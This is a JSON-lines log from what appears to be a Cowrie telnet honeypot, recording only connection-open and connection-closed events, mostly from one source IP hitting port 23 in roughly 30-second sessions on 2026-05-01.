{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49370,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ffd619a1ac9","protocol":"telnet","message":"New connection: 64.235.40.29:49370 (10.17.0.5:23) [session: 7ffd619a1ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.339899Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49394,"dst_ip":"10.17.0.5","dst_port":23,"session":"35947f3edcdf","protocol":"telnet","message":"New connection: 64.235.40.29:49394 (10.17.0.5:23) [session: 35947f3edcdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.367493Z"}
{"eventid":"cowrie.session.closed","duration":31.09709668159485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.412698Z","src_ip":"64.235.40.29","session":"9c5384844e87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.200453758239746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.416470Z","src_ip":"64.235.40.29","session":"60d3d42d19a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067978620529175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.567764Z","src_ip":"64.235.40.29","session":"f0dd248bdd70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31323266029358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.604089Z","src_ip":"64.235.40.29","session":"52ec94241abe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49246,"dst_ip":"10.17.0.5","dst_port":23,"session":"8686ec632155","protocol":"telnet","message":"New connection: 64.235.40.29:49246 (10.17.0.5:23) [session: 8686ec632155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.762932Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49406,"dst_ip":"10.17.0.5","dst_port":23,"session":"b374502e2037","protocol":"telnet","message":"New connection: 64.235.40.29:49406 (10.17.0.5:23) [session: b374502e2037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.768020Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49426,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ca515cd6bcd","protocol":"telnet","message":"New connection: 64.235.40.29:49426 (10.17.0.5:23) [session: 3ca515cd6bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.016515Z"}
{"eventid":"cowrie.session.closed","duration":30.69115710258484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.095196Z","src_ip":"64.235.40.29","session":"37369878c27a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160805225372314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.128110Z","src_ip":"160.250.4.73","session":"583339b5c577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49432,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec8cac112f4","protocol":"telnet","message":"New connection: 64.235.40.29:49432 (10.17.0.5:23) [session: 9ec8cac112f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.148076Z"}
{"eventid":"cowrie.session.closed","duration":30.87597894668579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.155628Z","src_ip":"64.235.40.29","session":"8f7997dfcb12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49442,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d35ab9cc083","protocol":"telnet","message":"New connection: 64.235.40.29:49442 (10.17.0.5:23) [session: 3d35ab9cc083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.187086Z"}
{"eventid":"cowrie.session.closed","duration":30.59917974472046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.213392Z","src_ip":"64.235.40.29","session":"bedf7a83ef25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919270038604736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.262488Z","src_ip":"64.235.40.29","session":"909d26303619","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16882634162903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.618670Z","src_ip":"64.235.40.29","session":"d11787efed2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49502,"dst_ip":"10.17.0.5","dst_port":23,"session":"66205bd8d7be","protocol":"telnet","message":"New connection: 64.235.40.29:49502 (10.17.0.5:23) [session: 66205bd8d7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.635683Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49522,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c6d057a7809","protocol":"telnet","message":"New connection: 64.235.40.29:49522 (10.17.0.5:23) [session: 3c6d057a7809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.709739Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49534,"dst_ip":"10.17.0.5","dst_port":23,"session":"1954a73546e2","protocol":"telnet","message":"New connection: 64.235.40.29:49534 (10.17.0.5:23) [session: 1954a73546e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.766670Z"}
{"eventid":"cowrie.session.closed","duration":31.071422338485718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:58.771245Z","src_ip":"64.235.40.29","session":"c40e0eb84be3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34666156768799,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:59.039490Z","src_ip":"64.235.40.29","session":"757b9468bc4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49588,"dst_ip":"10.17.0.5","dst_port":23,"session":"16534d74ea86","protocol":"telnet","message":"New connection: 64.235.40.29:49588 (10.17.0.5:23) [session: 16534d74ea86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:59.089753Z"}
{"eventid":"cowrie.session.closed","duration":31.046838760375977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:59.094247Z","src_ip":"64.235.40.29","session":"e3133115d69e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49590,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a73bf79ddb0","protocol":"telnet","message":"New connection: 64.235.40.29:49590 (10.17.0.5:23) [session: 7a73bf79ddb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:59.097667Z"}
{"eventid":"cowrie.session.closed","duration":31.138254165649414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:59.143205Z","src_ip":"64.235.40.29","session":"0a1bbcdd4dee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49682,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9eff09cb0c1","protocol":"telnet","message":"New connection: 64.235.40.29:49682 (10.17.0.5:23) [session: d9eff09cb0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:59.261289Z"}
{"eventid":"cowrie.session.closed","duration":30.52869462966919,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:59.279476Z","src_ip":"160.250.4.73","session":"bc8c0ac70f6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49716,"dst_ip":"10.17.0.5","dst_port":23,"session":"3921f38e0df1","protocol":"telnet","message":"New connection: 64.235.40.29:49716 (10.17.0.5:23) [session: 3921f38e0df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:59.451652Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49404,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3fcc3b5898a","protocol":"telnet","message":"New connection: 64.235.40.29:49404 (10.17.0.5:23) [session: b3fcc3b5898a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:59.520710Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49796,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf96e58ae3a9","protocol":"telnet","message":"New connection: 64.235.40.29:49796 (10.17.0.5:23) [session: cf96e58ae3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:59.745907Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49824,"dst_ip":"10.17.0.5","dst_port":23,"session":"8566bb37e7ab","protocol":"telnet","message":"New connection: 64.235.40.29:49824 (10.17.0.5:23) [session: 8566bb37e7ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:59.806331Z"}
{"eventid":"cowrie.session.closed","duration":31.233699321746826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:59.849671Z","src_ip":"160.250.4.73","session":"d8f02db42d9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":48100,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e42fbe6ca3a","protocol":"telnet","message":"New connection: 195.154.29.177:48100 (10.17.0.5:23) [session: 2e42fbe6ca3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:00.069208Z"}
{"eventid":"cowrie.session.closed","duration":31.042298793792725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:00.074663Z","src_ip":"64.235.40.29","session":"8c82db14b0a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48950,"dst_ip":"10.17.0.5","dst_port":23,"session":"2495556a5b08","protocol":"telnet","message":"New connection: 64.235.40.29:48950 (10.17.0.5:23) [session: 2495556a5b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:00.095509Z"}
{"eventid":"cowrie.session.closed","duration":30.87393546104431,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:00.121197Z","src_ip":"64.235.40.29","session":"c241fb5733b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63853359222412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:00.139359Z","src_ip":"64.235.40.29","session":"d1e272d92c60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.738418102264404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:00.149209Z","src_ip":"135.148.33.217","session":"d958f2d160f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49886,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b27e5c564e6","protocol":"telnet","message":"New connection: 64.235.40.29:49886 (10.17.0.5:23) [session: 7b27e5c564e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:00.202156Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49944,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa25a6114cb0","protocol":"telnet","message":"New connection: 64.235.40.29:49944 (10.17.0.5:23) [session: fa25a6114cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:00.436350Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50002,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dbfe11cc5f7","protocol":"telnet","message":"New connection: 64.235.40.29:50002 (10.17.0.5:23) [session: 1dbfe11cc5f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:00.765108Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50018,"dst_ip":"10.17.0.5","dst_port":23,"session":"319f09ebd527","protocol":"telnet","message":"New connection: 64.235.40.29:50018 (10.17.0.5:23) [session: 319f09ebd527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:00.790842Z"}
{"eventid":"cowrie.session.closed","duration":31.185265064239502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:00.983967Z","src_ip":"64.235.40.29","session":"892e964a1da3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50072,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c4f9e030ba4","protocol":"telnet","message":"New connection: 64.235.40.29:50072 (10.17.0.5:23) [session: 3c4f9e030ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:01.049671Z"}
{"eventid":"cowrie.session.closed","duration":30.799524545669556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:01.228647Z","src_ip":"64.235.40.29","session":"e7c024e8cec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.515686988830566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:01.233384Z","src_ip":"64.235.40.29","session":"374eea1fc0a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50104,"dst_ip":"10.17.0.5","dst_port":23,"session":"68b93c9228ff","protocol":"telnet","message":"New connection: 64.235.40.29:50104 (10.17.0.5:23) [session: 68b93c9228ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:01.276584Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50226,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fbafe3f19fa","protocol":"telnet","message":"New connection: 64.235.40.29:50226 (10.17.0.5:23) [session: 6fbafe3f19fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:01.707048Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50240,"dst_ip":"10.17.0.5","dst_port":23,"session":"d99a4178bef1","protocol":"telnet","message":"New connection: 64.235.40.29:50240 (10.17.0.5:23) [session: d99a4178bef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:01.769364Z"}
{"eventid":"cowrie.session.closed","duration":30.78755807876587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.043762Z","src_ip":"64.235.40.29","session":"3c0635f98741","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50518,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b786527f1f4","protocol":"telnet","message":"New connection: 160.250.4.73:50518 (10.17.0.5:23) [session: 3b786527f1f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.051958Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50266,"dst_ip":"10.17.0.5","dst_port":23,"session":"3185dfa79382","protocol":"telnet","message":"New connection: 64.235.40.29:50266 (10.17.0.5:23) [session: 3185dfa79382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.122590Z"}
{"eventid":"cowrie.session.closed","duration":30.436282634735107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.194770Z","src_ip":"64.235.40.29","session":"2fe1bc16bbb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50290,"dst_ip":"10.17.0.5","dst_port":23,"session":"264aa2345278","protocol":"telnet","message":"New connection: 64.235.40.29:50290 (10.17.0.5:23) [session: 264aa2345278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.205786Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50296,"dst_ip":"10.17.0.5","dst_port":23,"session":"3886222f01a6","protocol":"telnet","message":"New connection: 64.235.40.29:50296 (10.17.0.5:23) [session: 3886222f01a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.296360Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50304,"dst_ip":"10.17.0.5","dst_port":23,"session":"6621d7bff85b","protocol":"telnet","message":"New connection: 64.235.40.29:50304 (10.17.0.5:23) [session: 6621d7bff85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.388766Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50530,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cac3d3af685","protocol":"telnet","message":"New connection: 160.250.4.73:50530 (10.17.0.5:23) [session: 1cac3d3af685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.434002Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50524,"dst_ip":"10.17.0.5","dst_port":23,"session":"f591b216781a","protocol":"telnet","message":"New connection: 160.250.4.73:50524 (10.17.0.5:23) [session: f591b216781a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.442479Z"}
{"eventid":"cowrie.session.closed","duration":30.770254373550415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.448215Z","src_ip":"64.235.40.29","session":"fb04e8351e91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50312,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b316481c4d5","protocol":"telnet","message":"New connection: 64.235.40.29:50312 (10.17.0.5:23) [session: 1b316481c4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.514920Z"}
{"eventid":"cowrie.session.closed","duration":31.476871728897095,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.568589Z","src_ip":"64.235.40.29","session":"d2752d6defa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07043933868408,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.797286Z","src_ip":"64.235.40.29","session":"9b3a5a886d17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50440,"dst_ip":"10.17.0.5","dst_port":23,"session":"6be521fdfd50","protocol":"telnet","message":"New connection: 64.235.40.29:50440 (10.17.0.5:23) [session: 6be521fdfd50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:02.986576Z"}
{"eventid":"cowrie.session.closed","duration":30.62897515296936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.043586Z","src_ip":"64.235.40.29","session":"6658298dba30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.280274868011475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.049400Z","src_ip":"64.235.40.29","session":"a546fe6e8981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50556,"dst_ip":"10.17.0.5","dst_port":23,"session":"d41ec34a46cf","protocol":"telnet","message":"New connection: 160.250.4.73:50556 (10.17.0.5:23) [session: d41ec34a46cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.056231Z"}
{"eventid":"cowrie.session.closed","duration":30.642596006393433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.079077Z","src_ip":"64.235.40.29","session":"0e798f65a163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50470,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9eeec43cbb2","protocol":"telnet","message":"New connection: 64.235.40.29:50470 (10.17.0.5:23) [session: a9eeec43cbb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.086163Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50486,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac1c2e60d7e8","protocol":"telnet","message":"New connection: 64.235.40.29:50486 (10.17.0.5:23) [session: ac1c2e60d7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.089710Z"}
{"eventid":"cowrie.session.closed","duration":30.865472078323364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.093669Z","src_ip":"64.235.40.29","session":"7f5dba427676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.717947006225586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.097281Z","src_ip":"64.235.40.29","session":"4c29650fd3ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844271898269653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.161116Z","src_ip":"64.235.40.29","session":"4b42732a58da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50530,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea49496a704f","protocol":"telnet","message":"New connection: 64.235.40.29:50530 (10.17.0.5:23) [session: ea49496a704f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.178164Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50552,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0494ad2b08e","protocol":"telnet","message":"New connection: 64.235.40.29:50552 (10.17.0.5:23) [session: f0494ad2b08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.295221Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50582,"dst_ip":"10.17.0.5","dst_port":23,"session":"58f4b44f14fc","protocol":"telnet","message":"New connection: 64.235.40.29:50582 (10.17.0.5:23) [session: 58f4b44f14fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.361969Z"}
{"eventid":"cowrie.session.closed","duration":30.995193243026733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.413856Z","src_ip":"64.235.40.29","session":"20b7828dc311","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50638,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9d0243d997c","protocol":"telnet","message":"New connection: 64.235.40.29:50638 (10.17.0.5:23) [session: e9d0243d997c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.562004Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50674,"dst_ip":"10.17.0.5","dst_port":23,"session":"e66c5b9a0d29","protocol":"telnet","message":"New connection: 64.235.40.29:50674 (10.17.0.5:23) [session: e66c5b9a0d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:03.879225Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50584,"dst_ip":"10.17.0.5","dst_port":23,"session":"838e045473ab","protocol":"telnet","message":"New connection: 160.250.4.73:50584 (10.17.0.5:23) [session: 838e045473ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:04.003354Z"}
